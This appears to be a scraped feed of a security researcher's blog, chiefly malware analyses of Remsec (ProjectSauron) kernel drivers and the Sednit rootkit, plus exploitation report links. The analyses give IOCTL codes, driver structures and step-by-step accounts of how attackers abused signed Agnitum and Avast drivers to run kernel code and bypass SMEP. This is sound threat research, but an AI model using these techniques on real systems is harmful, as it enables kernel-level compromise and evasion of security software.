Big hat tip to Miroslav Babis for the additional analysis of this threat.

Клиент ISA Server 2006 очевидный Security Feature Bypass

$
0
0
ISA Server 2006 до сих пор является популярным в использовании в сети. Последний клиент для десктоп может быть установлен отсюда x32/x64 http://www.microsoft.com/ru-ru/download/details.aspx?id=10193 или скачивается клиентами с сервера. В клиенте заявлена поддержка Windows Vista [с которой MS начали использовать ASLR + DEP как основные exploit mitigation]. В отличие от DEP, который принудительно можно включить системными настройкам как Always ON или OptOut, ASLR (даже на Windows 8.1 из-за возможных проблем с совместимостью) работает как OptIn и включается только если приложение скомпилировано с /DYNAMICBASE.

Ввиду заявленной поддержки Vista MS могли бы отнестись к клиенту и посерьезнее, скомпилировав файлы с DEP и ASLR. Между тем имеем (%ProgramFiles%\Microsoft Firewall Client 2004\ - стандартный путь установки) полный провал на компиляцию с ASLR + даже DEP.


Какое-то барахло в папке "2004-го года"с таймстамами дек. 2006. На самом деле нас больше всего интересуют две библиотеки FwcWsp.dll и FwcWsp64.dll, которые загружаются в контексты таких критичных для RCE эксплойтов процессы как браузеры + почтовые клиенты + Skype и т. д.

Получаем очевидный Security Feature Bypass на up-to-date Windows 7.



....

При использовании с MS Office 2013 & IE 10/11 на up-to-date Windows 7+ спасает включенный по дефолту ASLR (enforce ASLR randomization natively without any additional setting on Win7 and above).

Windows exploitation in 2014

$
0
0
New version of annual report about Windows exploitation & mitigation vectors is out:

  • Vulnerabilities discovered and patched in Microsoft Windows and Office.
  • Statistics about patched vulnerabilities and how they compare with 2013’s statistics.
  • Detailed descriptions of actual exploitation vectors.
  • Vulnerabilities that were exploited in the wild, including a specific table showing ASLR bypass vulnerabilities.
  • Exploitation methods and mitigation techniques for Microsoft’s Internet Explorer web browser (IE).
Report: http://www.welivesecurity.com/wp-content/uploads/2015/01/Windows-Exploitation-in-2014.pdf

Press release

Internet Explorer identified as most vulnerable Microsoft Windows component

http://www.eset.com/int/about/press/articles/malware/article/internet-explorer-identified-as-most-vulnerable-microsoft-windows-component-2/

In media

ZDNet

How Windows was exploited in 2014 http://www.zdnet.com/article/how-windows-was-exploited-in-2014/

Dark Reading

Microsoft Software Flaws Increase Sharply But Majority Affect IE

http://www.darkreading.com/vulnerabilities---threats/microsoft-software-flaws-increase-sharply-but-majority-affect-ie/d/d-id/1318562

Techworld

Internet Explorer caused 2014 surge in Microsoft flaws

http://www.techworld.com/news/security/internet-explorer-caused-2014-surge-in-microsoft-flaws-research-finds-3593333/

TechCentral.ie

Internet Explorer caused 2014 surge in Microsoft flaws

http://www.techcentral.ie/internet-explorer-caused-2014-surge-microsoft-flaws/

CIO

Internet Explorer Caused 2014 Surge in Microsoft Flaws, Research Finds

http://www.cio.com/article/2867360/internet/internet-explorer-caused-2014-surge-in-microsoft-flaws-research-finds.html

betanews

The Windows exploit landscape in 2014

http://betanews.com/2015/01/09/the-windows-exploit-landscape-in-2014/

ITespresso.de

Internet Explorer ist die gefährlichste Schwachstelle von Windows-Rechnern

http://www.itespresso.de/2015/01/12/internet-explorer-ist-die-gefaehrlichste-schwachstelle-von-windows-rechnern/

Security.nl

IE meest aangevallen Windowsonderdeel in 2014

https://www.security.nl/posting/414432/

Wallstreet-Online

ESET deckt größte Windows-Schwachstellen auf

http://www.wallstreet-online.de/nachricht/7293437-eset-deckt-groesste-windows-schwachstellen

All About Security

ESET deckt größte Windows-Schwachstellen auf

http://www.all-about-security.de/security-artikel/endpoint-security/anti-malware/artikel/16626-eset-deckt-groesste-windows-schwachstellen-auf/

n-tv.de

Internet Explorer ist Hackers Liebling

http://www.n-tv.de/technik/Internet-Explorer-ist-Hackers-Liebling-article14306616.html

Computerwelt

ESET deckt größte Windows-Schwachstellen auf

http://www.computerwelt.at/news/technologie-strategie/security/detail/artikel/107591-eset-internet-explorer-verwundbarste-stelle-von-windows/

pressetext

ESET deckt größte Windows-Schwachstellen auf

http://www.pressetext.com/news/20150112013

Windows exploitation in 2015

$
0
0
"Windows exploitation in 2015" is out. New version contains information about Google Chrome security features, EMET, Hacking Team exploits, and Windows vulnerabilities.

Press release

ESET Examines Windows Exploitations That Emerged in 2015

http://www.eset.com/int/about/press/articles/malware/article/eset-examines-windows-exploitations-that-emerged-in-2015/

Report

Windows exploitation in 2015

http://www.welivesecurity.com/2016/01/26/windows-exploitation-in-2015/

http://www.welivesecurity.com/wp-content/uploads/2016/01/Windows_Exploitation_in_2015.pdf

My opinions in media

$
0
0
E2EE in modern messengers: [15.07.16] [Geekbrains] [RU] link
Messengers security, E2EE: [28.06.16] [Gazeta.RU] [RU] link
Nemucod + TeslaCrypt campaign: [22.03.16] [Gizmodo India] [ENG] link
Apple v FBI story: [29.02.16] [Gazeta.RU] [RU] link
Most impressive hack stories of 2015: [12.12.15] [Gazeta.RU] [RU] link
I'm talking about "post-post-Snowden era": [19.11.15] [Gazeta.RU] [RU] link
Turla uses satellites for C&C hosting: [10.9.15] [Vzglyad] [RU] link
About Russian footprints in the malware code: [08.09.15] [Vedomosti] [RU] link
Detection of the source of state-sponsored cyberattacks: [09.04.15] [Gazeta.RU] [RU] link
FREAK OpenSSL flaw: [04.03.15] [Lenta] [RU] link
State-sponsored cyberattacks, cyberweapon, Wassenaar arrangements: [17.02.15] [RIA] [RU] link
How Windows was exploited in 2014: [09.01.15] [ENG] [ZDNet] link
2014 year cybersecurity surface review: [10.12.14] [Lenta] link
Sednit cybergroup & air-gapped malware: [19.11.14] [Vedomosti] [RU] link
My comment about Zeus trojan creator: [03.06.14] [RBC] link
Cyberattack on eBay: [23.05.14] [Gazeta.RU] link



Remsec driver analysis

$
0
0
Remsec or Cremes malware already was perfectly described by Kaspersky in their report. Symantec also did a blog post about it. This sophisticated malware toolkit refers to so-called state-sponsored actor, which was named by KL as ProjectSauron or Strider by SYMC. There are some similarities between Remsec and other serious state-sponsored projects like EvilBunny (Animal Farm) or Flame (Equation Group). The toolkit contains a lot of modules for cyberespionage. As already declared by the Russian special service (FSB), the attackers have used unique malware files in case of each victim. This means that attacks were implemented in highly targeted manner.



One of the malware components was not described by KL or other AVers. This component is a driver and it works into kernel mode (Ring 0). Frankly speaking, the driver has compact size and is designed only for one purpose: execute Ring 3 code from kernel mode with SMEP bypass. Nothing special, but...The quality of written code confirms for us the fact that driver was written by skilled developers and intended to be hidden. These properties are ideally suited to the task the malware should perform.

Below are listed the facts about the driver (aswfilt.dll).
  • It has small size and fits in one memory page (4KB).
  • It has the zeroed timestamp and one unnamed NONPAGED section.
  • It has dynamic imports that is stored into special driver struct with ptr at DeviceObject->DeviceExtension.
  • The code uses some sort of offsets obfuscation inside its body.
  • The code is written in right way.
The driver is loaded into a system by the dropper that exploits vulnerability in Agnitum driver called Sandbox.sys. The dropper contains inside itself driver file, file of Agnitum Sandbox.sys and code for its exploitation. Below you can see part of the dropper that drops Sandbox.sys to disk.

After loading Agnitum Sandbox.sys, it sends to it a special IOCTL that forces it to load the rootkit driver.


The rootkit driver creates device with name \Device\rwx and the client uses path  \\.\GLOBALROOT\Device\rwx to communicate with it.
To disable SMEP, the client should sent to driver IOCTL with code 0x1173000C.

Note that unlike developers of Capcom.sys driver, authors of Remsec disables SMEP in right way.
Next structure describes DeviceContext that is used by rootkit as storage for run-time global data.

struct RootkitStruct {

PVOID  ExAllocatePool;
PVOID  ExFreePool;
PVOID  IoCompleteRequest;
PVOID  IoCreateDevice;
PVOID IoDeleteDevice;
PVOID KeAcquireSpinLock;
PVOID KeCancelTimer;
PVOID KeInitializeEvent;
PVOID KeInitializeSpinLock;
PVOID KeInitializeTimer;
PVOID KeQueryInterruptTime;
PVOID KeReleaseSpinLock;
PVOID KeSetEvent;
PVOID KeSetTimer;
PVOID KeWaitForMultipleObjects;
PVOID ObfReferenceObject;
PVOID ObDereferenceObject;
PVOID PsCreateSystemThread;
PVOID PsGetVersion;
PVOID PsTerminateSystemThread;
PVOID ZwClose;
PVOID ZwCreateKey;
PVOID ZwDeleteKey;
PVOID ZwEnumerateKey;
PVOID ZwOpenKey;
PVOID ZwSetValueKey;
PVOID ZwUnloadDriver;
PVOID KeQueryActiveProcessors;
PVOID KeSetSystemAffinityThread;
PVOID KeRevertToUserAffinityThread;
ULONG Flag;
KEVENT Event;
ULONG dwField1;
KTIMER Timer;
KSPIN_LOCK SpinLock;
ULONG dwField2;
LARGE_INTEGER IntervalTime;
UNICODE_STRING unDriverRegistryPath;
};

The driver supports an interesting method of unloading. It creates additional thread in DriverEntry and supports timer object for unloading from this thread. As there are two possible threads which can compete for the possession of the object, the driver supports special spinlock object. This object is captured each time when function wants to get access to timer. The timer interval can be set by client with special IOCTL code 0x117300CC. Timer guarantees the client that driver will unload as soon as possible.


Driver plays with spinlock in next manner. Before executing code in IRP_MJ_DEVICE_CONTROL handler, the rootkit cancelled timer and set it again before exiting from it. 

KeAcquireSpinLock();
Flag1 = DeviceExtension->Flag1;
Flag2 = DeviceExtension->Flag2;
if( Flag1 & Flag2 ) {
   KeSetTimer();
}
KeRelaseSpinLock();

And

KeAcquireSpinLock();
Flag1 = DeviceExtension->Flag1;
Flag2 = DeviceExtension->Flag2;
if( Flag1 & Flag2 ) {
   KeCancelTimer();
}
KeRelaseSpinLock();

The thread waits on timer and executes cleanup after time elapsed.



Driver also has function with name fnRemoveRegKeyTree that recursively removes registry key.

As it became clear from the analysis, the driver is intended for one purpose: execute function from user mode address space and next, unload as fast as possible. Driver's code uses spinlock and this is reason why authors are forced to use nonpaged section, that's untypical for such type of drivers.

UPDATE
I noticed interesting thing in procedure of driver unloading that looks like mistake for me. Let's look at this situation in more detail.

As I already mentioned above, the driver supports unloading procedure when some conditions were triggered. It is waiting for timer object in fnThreadStartFunction and when time elapses, the code calls fnCreateDriverRegKeyOrRemoveIt. Below you can see a chart of this process.

As you can see, when system thread has returned from ZwUnloadDriver, there is a high probability that page with driver's code is already invalid, because IopDeleteDriver calls MmUnloadSystemImage for mark virtual memory page which belong to driver as free for further using.

Remsec driver analysis - Part 2

$
0
0
In previous blog post I've described 32-bit driver that has been used by attackers who are behind Strider cybergroup. I also pointed that from my point of view the driver was developed by skilled guys, but it contains two flaws. Firstly, authors forget to turn on SMEP again, after executing user mode code and they disable it each time when client tries to call 0x1173000C IOCTL code. Secondly, they try to unload driver dynamically in separate system thread that can lead to code execution from invalid memory (fnThreadStartFunction).


The dropper also contains one more driver (and its x64 clone) that is also interesting for research. I should make one clarification about information I posted before. The dropper itself doesn't contain rootkit driver as whole file inside, instead it stores only its PE-sections. This means that rootkit PE-file is generated by dropper on-the-fly. So, aswfilt.dll and 32-bit code of another driver as well as its 64-bit clone are stored only as PE-sections. And this is answer on question, why aswfilt.dll has one unnamed section and zeroed timestamp in PE-header. On screenshot below, you can see how the dropper initializes PE-header of aswfilt.dll driver before it was written to FS as executable file.



Driver (Ring 0 code) has following properties:

  • It has compact size and its code is stored into two PE sections inside dropper.
  • It has dynamic imports that are stored into special context structure.
  • It has 64-bit clone inside the dropper.
  • It has no DriverEntry function.
  • It serves for one purpose: execute code from ptr that was passed from user mode to FastIoDeviceControl handler.
  • It uses undocumented Windows kernel API.
Code and data of aswfilt.dll driver are stored into a separate section with name ".rwxdrv", as you can see on screenshot below. Another two sections with names ".krwkr32", ".krdrv32" and ".krwkr64", ".krdrv64" are used for storing mentioned above 32-bit Ring 0 code and its x64 analog.


Like aswfilt.dll, kernel mode code from above mentioned sections uses special context structure where dynamically loaded imports are located. Format of this structure you can see below.

struct RootkitStruct {
PVOID pExAllocatePool;
PVOID pExFreePool;
PVOID pExQueueWorkItem;
PVOID pIofCompleteRequest;
PVOID pIoCreateDevice;
PVOID pIoDeleteDevice;
PVOID pIoDriverObjectType;
PVOID pIoGetCurrentProcess;
PVOID pKeInitializeEvent;
PVOID pKeSetEvent;
PVOID pKeStackAttachProcess;
PVOID pKeUnstackDetachProcess;
PVOID pKeWaitForSingleObject;
PVOID pObCreateObject;
PVOID pObInsertObject;
PVOID pObQueryNameString;
PVOID pObfDereferenceObject;
PVOID pZwClose;
PVOID pZwCreateFile;
PVOID pBuffer;
ULONG cbBuffer;
ULONG field1;
PVOID pProcessForAttach;
};

A problem is that start function of new kernel mode code doesn't contain DriverEntry function, showing for us that, in first, this code is loaded into Ring 0 not by Windows functions like ZwLoadDriver and in second that it can be loaded into memory with exploit. Anyway, start function of this kernel mode code, where the control will be passed at the beginning of its execution, gets already initialized context with corresponding function ptrs. There is no function inside Ring 0 code, which is responsible for filling context with dynamic loaded functions ptrs.


First action, which fnRootkitStartFunction does, it is creating driver object for loaded Ring 0 code (fnCreateDriverObject). This function (fnCreateDriverObject) allocates an object in memory with help of ObCreateObject, initializes it and does it visible for Windows kernel by inserting it into objects list with ObInsertObject.


Next, it does copying of prepared data with already initialized ptr from user mode buffer to system buffer and saves ptr to it into DriverExtension->ServiceKeyName.Buffer.


The driver leverages interesting way for dispatching DeviceControl request. Unlike other drivers that are using IRP_MJ_DEVICE_CONTROL handler in such case, it registers FastIo function DriverObject->FastIoDispatch.FastIoDeviceControl.


As we already saw in case of aswfilt.dll, DeviceControl handler is responsible for performing only one task: execute function by ptr that has been passed to it from user mode client.


Unfortunately, I haven't a lot of free time for reconstructing logic of Ring 3 code (dropper part) and how it forms context for kernel mode code. I know that IOCTL with code 0x839200BF (Rootkits_IOCTLs_ExecuteFunction) is used by the dropper only one time in function fnSendIOCTL_839200BF. It passes to driver ptr to function that located at address 0x1000741A.

The dropper also contains some code for exploiting NT Virtual DOS Machine (NTVDM), it contains section with name .vdmbios and it imports function NtVdmControl. The code also uses context structre for calling dynamic imports.

Remsec driver analysis - Part 3

$
0
0
In two previous blog posts I've described 32-bit plugin that was mentioned by Kaspersky in their technical analysis. The plugin is called kgate and it has some interesting features, including, exploiting 32-bit Agnitum driver to run rootkit driver, run 32-bit or 64-bit kernel mode code by non-standart way. It's hard to say how stable this code works on live system, because authors use undocumented Windows kernel functions like ObCreateObject and ObInsertObject for creating new DriverObject.


There is one more 64-bit plugin that is called xkgate and it is used for compromising 64-bit Windows versions. Unlike kgate plugin, xkgate contains valid timestamp in PE header - 20 Aug 2014 (08:34:04). Both plugins contain code with identical functions in their .krwkr64 and .krdrv64 sections, but looks like xkgate plugin was written later than kgate. Although, kgate plugin has zeroed timestamp in PE-header, its file contains one timestamp inside - Oct 28 2013. This means that operators have switched from kgate plugin, which was developed to load Ring 0 code for both x32 and x64 platforms, to special edition for x64 that is called extended kgate.

Like kgate plugin, xkgate also contains timestamp inside its file - Aug 19 2014. This timestamp confirms for us that date of compilation in PE header of xkgate is valid, although they differ by one day. I think the reason for this difference is that timestamp inside file contains time data for debug purpose and was set by authors in manual mode. Screenshot below shows this fact.

The plugin also contains Ring 0 code in two separate sections named .krwkr64 and .krdrv64. Section .rdata stores whole AVAST! Virtualization Driver file aswsnx.sys, which is used by xkgate for loading own kernel mode. Section .avit contains code for communication with AVAST driver from "trusted" process.

Below you can see information about digital signatures of legitimate drivers Outpost and AVAST! that have been used by Remsec authors for loading Ring 0 code.


According to the language that has been used in debug comments for both plugins, authors were native English speakers. But it is not clear why they don't remove debug information from it. Below you can see strings, which are present into xkgate.

Load error: Access Denied
Load error: Unsupported OS
Load error: Invalid plugin image format!
Load error: Plugin entry point not found!
Load error: Failed to resolve kernel functions!
Load error: Out of memory!
Load error: Status unsuccessful!
Load error: Failed to run plugin (%#x)
Unsupported OS! Only Windows 2000 and later supported!
Unable to determine 32/64-bit OS!
Invalid plugin name: path not allowed, try using -n.
Invalid plugin name: suffix not allowed, try using -n.
Unable to load kernel plugin %s!
Unable to build argv!
Plugin successfully executed!
GateDriver is currently disabled on x64 systems due to driver signing restrictions!

In table below you can see characteristics of both plugins.


From the table above you can see that some IOCTLs functions are not used by attackers.

As I mentioned above, xkgate leverages Avast driver for executing Ring 0 code which doesn't drop to FS. There is function fnLoadAvast that is responsible for loading Avast driver in proper way. It also does some actions for reproducing correct environment for it. Unlike exploiting Agnitum driver, this situation is more hard for exploitation. Let's look more detailed.

First action that fnLoadAvast does, it tries to create mutex with name Global\yRg7d3x and checks a result of WaitForSingleObject to prevent doing same actions again.
Next, the code calls fnDropAvastDriverAndPrepareEnv function that does following actions:

  • Creates directory \SystemRoot\Temp\aswSnx for dropping AVAST related files.
  • Drops aswSnx.sys to FS.
  • Drops snx_lconfig.xml to FS.
  • Drops snx_gconfig.xml.
  • Creates empty file snxhk.dll.
  • Creates aswSnx.exe and writes to it content of notepad.exe.
Next, fnLoadAvast calls fnCreateAvastServiceAndLoadDriver for creating AVAST service key in registry.

  • It creates key System\CurrentControlSet\Services\aswSnx.
  • Creates parameter ImagePath with path to \SystemRoot\Temp\aswSnx\aswSnx.sys.
  • Creates parameter Type.
  • Creates subkey Parameters.
  • Creates parameter DataFolder inside subkey with value \??\Global\GLOBALROOT\SystemRoot\Temp\aswSnx.
  • Creates parameter ProgramFolder with value \??\Global\GLOBALROOT\SystemRoot\Temp\aswSnx.
  • Creates key subkey Instances.
  • Creates parameter DefaultInstance inside Instances key.
  • Creates parameters Altitude and Flags.
  • Loads aswSnx.sys with NtLoadDriver.
After aswSnx.sys was loaded, fnLoadAvast removes snxhk.dll and snxhk64.dll files from FS with help of NtSetInformationFile. Next step is creating process aswSnx.exe, which actually is notepad.exe. After that it opens handle on AVAST device \Device\aswSnx.

After creating aswSnx.exe (notepad) process in suspended state, it duplicates handle to \Device\aswSnx from current plugin process into new process aswSnx.exe. As you already guessed, next step is copying code for communicating with AVAST driver into aswSnx.exe. Copied code is located in special .avit section and performs DeviceIoControl that triggers code execution of Ring 0 rootkit code from AVAST driver.

Into loaded Ring 0 code, we can see already known to us function for dispatching FastDeviceControl request.

As you can see, both Agnitum and AVAST! drivers became exploitable for Remsec authors, because both don't use check of caller process based on digital signature properly. Although, notepad.exe is signed with Microsoft digital certificate that means AVAST! can check digital signature of caller process in IRP_MJ_CREATE handler, but doesn't check the name of signer.

Remsec driver analysis - Agnitum driver exploitation

$
0
0
In previous three parts of "Remsec driver analysis" research I've tried to show, how Remsec (aka Cremes) Ring 0 code works and how it is loaded into a system. We already know that attackers were interested only in one purpose - run own malicious code with SYSTEM privileges. But as we already saw, they have used AVers drivers for this purpose: Agnitum driver on 32-bit system & Avast driver on x64.
I've mentioned in first blog post that the conclusions that have been made by experts (Kaspersky, Symantec, FSB) after analysis of malicious toolkit, show for us potential marks of skilled researchers who can stay behind the malware. The malicious toolkit can be attributed to state-sponsored actor, who has corresponding resources to find flaws in legitimate drivers and write code for its exploitation.

[You can read this discussion in Twitter between The Grugq & Chaouki Bekrar who prove that such 0days use only by special services] Frankly speaking, I can agree with them, because researching such vulnerabilities & developing exploit are required from authors significant material resources.

Because I'm working into AV industry, I can't provide all details of exploitation that can lead to continue this exploitation trend. We can just see how it is possible to exploit driver for own purposes to load illegitimate code/driver into a system.

Let's try to see how authors use Agnitum driver to achieve SYSTEM privileges.

As I already mentioned, the driver (Sandbox.sys) is located as whole file into kgate plugin (.rdata section) and is extracted from it. Let's look on this process more detailed.

First action that plugin does, it drops driver into file with name sandbox.sys. loads in into memory with NtLoadDriver and tries to open its device \.\sandbox.


On the next stage, kgate builds own malicious driver with name aswfilt.dll taking Ring 0 code that is located into .rwxdrv section. Next, this file is dropped on disk.
This is a good question why malicious code is dropped into file with name aswfilt.dll. An answer is located into Agnitum driver.
We can see that Sandbox.sys contains reference to this file name into its body. Moreover, we can see that its code uses ZwLoadDriver to load mentioned files into system memory.
Function that I called fnCallZwLoadDriver performs check of file name and loads file into memory if file name belongs to Agnitum DLLs.
To trigger this feature client should send to driver special IOCTL code. After I've located Sandbox.sys DriverDispatchControl handler, I got answer.
Note that Agnitum driver do not check caller process on trusted when it tries to get handle to its device. In other words, it allows to open handle on device by any user mode client.

A note about Sednit rootkit

$
0
0
Sednit cyberespionage group is already a well-known for AVers & security community. It is also known as APT28, Fancy Bear, Pawn Storm, Sofacy. Wide range of various researches show for us that this cybergroup operates by state-sponsored malicious toolkits. Malware from these toolkits are intended for cyberespionage and data exfiltration from compromised systems.



Recently my colleagues from ESET security firm released a comprehensive and very detailed paper about Sednit activity. You can find this excellent research [PDF] here. In last part of the research were mentioned and Ring 0 components: bootkit and rootkit. Both are used by authors to hide malware components from user eyes & for injection malicious code into processes.

Moreover, while I was preparing this blog post, Paul Rascagnères has issued his own detailed research about Sednit rootkit. Ok, let's start. Below you can see timestamps from dropper, 32-bit and 64-bit drivers. As we can see, 32-bit rootkit driver was compiled earlier 64-bit.

Interestingly to note that authors use similar code implementation like we already seen many times in older NtRootkit drivers family. It's not a secret that such rootkits have Russian origins and its authors have used famous Russian forum wasm.ru (for example, MS-REM articles) about Windows kernel mode exploitation.

For example, authors use cli/sti commands during disabling SSDT WP protection and dont't care about synchronization issues while modifying SSDT entry. This method of WP protection disabling was widely spread among authors of NtRootkits, who had not so much experience in drivers/rootkits development.


Sednit driver is pretty easy for analysis and if you are not familiar with Windows Internals & Rootkits world, you can start to study it from this rootkit. There are a lot of debug messages in the rootkit code with functions names, which was given them by authors. We can find also string to .PDB file with debug information inside the rootkit file (32-bit version).

d:\new\hideinstaller\Bin\Debug\wxp\x86\fsflt.pdb

Rootkit starts its execution from DriverEntry function, which is responsible for rootkit initialization: creating device object, symbolic link for it, hooking SSDT functions and other actions. Unlike authors of Cremes rootkit, who choose innovative approaches for driver loading, Sednit authors use a well-documented method of launching the rootkit with help of SCM.

In DriverEntry rootkit creates device object \Device\dfsflt and symbolic link \DosDevices\dfsflt. I suppose that such name was chosen by authors to hide malicious nature of device object.

Also note that authors use standard way for creating communication between client and device object, which based on symbolic link opening from Win32, while Cremes authors use internal NT name based on \\.\GLOBALROOT\Device\ for this.

During set up hooks for SSDT, authors also choosen not good method for lookup SSDT indexes of specific services. They use in-memory Ntdll image and scans export functions without SEH that should be used in driver, while it tries to read user mode memory.

The rootkit uses this registry key \REGISTRY\MACHINE\SYSTEM\CurrentControlSet\services\FsFlt for its service. It also supports special parameters to store configuration.

This debug string with .pdb path is located into 64-bit driver.

d:\!work\etc\hideinstaller_kis2013\Bin\Debug\win7\x64\fsflt.pdb

Major difference of 64-bit driver from 32-bit is that authors don't use SSDT hooks to control system operations. They rely on Filter Manager driver API (fltmgr.sys) for filtering file operations and CmRegisterCallbackEx for registry (Cm) related operations.

64-bit rootkit driver removes cryptbase.dll library from sysprep system directory. As was mentioned in ESET Sednit paper, sysprep tool is used by the dropper for UAC bypassing. I suppose that the rootkit removes cryptbase.dll file in its DriverEntry, because it contains malicious code that was written by the dropper. Sysprep has UAC auto-elevation ability and loads overwritten dll from its directory. Details about this method of UAC bypassing you can read here.

You can see similarities between WDK sample of registry filtering driver and that been used in rootkit on Github.

There are no reasons to repeat detailed analysis of rootkit functions, because it has already been done by other researchers. My purpose was concentrate on interesting places in drivers and are trying to focus attention on them.

Conclusion

Sednit rootkit really is not similar to state-sponsored malware of elite cybergroup...It is possible that if some AV analyst found its sample in-the-wild, he would hardly have thought that this driver was written or deployed by a state-sponsored actor. As we seen above, authors have chosen trivial rootkit methods are based on SSDT hooks and don't care about SMP system: they use CPU-specific instructions, do not use thread affinity to current processor and do not use MDL for disabling system code write protection (WP) security measure.

Nevertheless, it should be noted that both rootkit and bootkit were written pretty accurately. Information about bootkit part you can find in paper En Route with Sednit. Part 3. The authors had one goal - to hide the traces of their malicious software on the system and seems they have achieved this goal.

Windows exploitation in 2016

Viewing all 58 articles
Browse latest View live